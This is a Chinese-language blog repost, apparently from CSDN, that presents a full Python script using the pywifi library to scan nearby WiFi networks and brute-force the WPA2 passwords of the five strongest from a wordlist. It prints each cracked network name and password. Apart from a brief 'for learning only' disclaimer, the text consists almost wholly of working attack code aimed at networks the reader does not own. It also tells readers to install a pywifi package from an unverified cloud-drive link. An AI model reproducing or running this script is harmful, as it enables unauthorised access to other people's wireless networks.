最近看到網上的一些作品,然后進行一些完善。只是用于學習,不要去干壞事哦。程序來源于網,我只是做了一些優化。當然這種方法破解還是有點慢哦。我用的python 3.6.5
既然要破解wifi,那么連接wifi的模塊首先要有的,我們要導入pywifi模塊。
有些同學可能沒有這個,如果直接通過pip安裝的話,可能不能用,聽說這個wifi模塊被停用了,所以大家如果通過pip安裝的不行,那么就下載我提供的。
鏈接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安裝方法:
1)下載解壓好以后,我們用cmd命令行,進入到你的文件目錄
2)使用命令pip install . 注意了(install后面有個點)
3)然后就會安裝了,等一會就可以了。
程序先查找附近的WIFI,然后按信號強度進行排序,然后只取前wificount=5個信號好的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
import pywifi from pywifi import const #引用一些定義 import time namelist = [] ssidlist = [] result = [] #存放查詢到的WIFI,密碼 wificount = 5 #查詢附近信號最強的5個WIFI,最多5個 def getwifi(): wifi = pywifi.PyWiFi() #抓取網卡接口 ifaces = wifi.interfaces()[ 0 ] #獲取網卡 ifaces.scan() time.sleep( 8 ) bessis = ifaces.scan_results() list = [] for data in bessis: if (data.ssid not in namelist): #去掉重復的WIFI名稱 namelist.append(data.ssid) list .append((data.ssid, data.signal)) sorted ( list , key = lambda st: st[ 1 ], reverse = True ) time.sleep( 1 ) n = 0 if len ( list ) is not 0 : for item in list : if (item[ 0 ] not in ssidlist): n = n + 1 if n< = wificount: ssidlist.append(item[ 0 ]) print (ssidlist) def testwifi(ssidname,password): wifi = pywifi.PyWiFi() #抓取網卡接口 ifaces = wifi.interfaces()[ 0 ] #獲取網卡 ifaces.disconnect() #斷開無限網卡連接 profile = pywifi.Profile() #創建wifi連接文件 profile.ssid = ssidname #定義wifissid profile.auth = const.AUTH_ALG_OPEN #網卡的開放 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP ##加密單元 ifaces.remove_all_network_profiles() #刪除其他所有配置文件 tmp_profile = ifaces.add_network_profile(profile) #加載配置文件 ifaces.connect(tmp_profile) #連接wifi time.sleep( 5 ) #5秒內能否連接上 if ifaces.status() = = const.IFACE_CONNECTED: return True else : #print("[-]WiFi connection failure!") return False #ifaces.disconnect()#斷開連接 #time.sleep(1) return True def main(): getwifi() #ssidlist = ['Oun'] #如果知道WIFI直接寫就行了。 if ( len (ssidlist) is not 0 ): path = r "password.txt" files = open (path, 'r' ) while True : if ( len (ssidlist) is 0 ): break try : password = files.readline() password = password.strip( '\n' ) if not password: break for item in result: #把已經找到密碼的WIFI從查詢中刪除。 ssidlist.remove(item[ 0 ]) for ssidname in ssidlist: if (testwifi(ssidname,password) = = True ): result.append((ssidname,password)) #把找到的WIFI密碼保存起來 print ( 'Succ' , 'Current WifiName:' ,ssidname, 'Current Password:' ,password) else : print ( 'Fail' , 'Current WifiName:' ,ssidname, 'Current Password:' ,password) except : continue files.close() print ( "\n" , "WIFI結果列表:" ) for item in result: #把已經找到密碼的WIFI從查詢中刪除。 print ("") print ( "無線:" ,item[ 0 ]) print ( "密碼:" ,item[ 1 ]) else : print ( "沒有找到WIFI信號,請重試。" ) if __name__ = = '__main__' : main() |
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對服務器之家的支持。如果你想了解更多相關內容請查看下面相關鏈接
原文鏈接:https://blog.csdn.net/wujinmei/article/details/81288212